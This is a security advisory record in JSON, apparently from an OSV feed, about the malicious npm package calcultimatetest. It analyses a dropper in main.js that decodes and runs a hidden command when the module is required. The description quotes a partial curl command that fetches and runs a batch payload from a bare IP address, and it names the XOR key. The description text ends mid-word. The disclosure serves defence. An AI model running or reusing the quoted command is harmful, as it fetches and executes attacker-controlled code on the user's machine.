{"id":"MAL-2026-20192","aliases":[],"title":"Malicious code in calcultimatetest (npm)","originalDescription":" --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8) The package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXEC_MODE' and then invokes child_process.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surf","severity":{"cvss":null,"vector":null,"label":null},"exploitation":{"kev":null,"epss":null,"exploitDb":null},"affected":[],"references":[{"url":"https://www.npmjs.com/package/calcultimatetest/v/1.0.0","type":"package"}],"sources":[{"name":"osv","at":"2026-11-19T07:54:26.002Z","url":"https://osv.dev/vulnerability/MAL-2026-20192","license":"CC-BY 4.0","firstSeenAt":"2026-11-19T07:21:34.404Z"}],"firstSeenAt":"2026-11-19T07:21:34.404Z","publishedAt":"2026-11-19T06:54:11.000Z","modifiedAt":"2026-11-19T07:15:08.355Z"}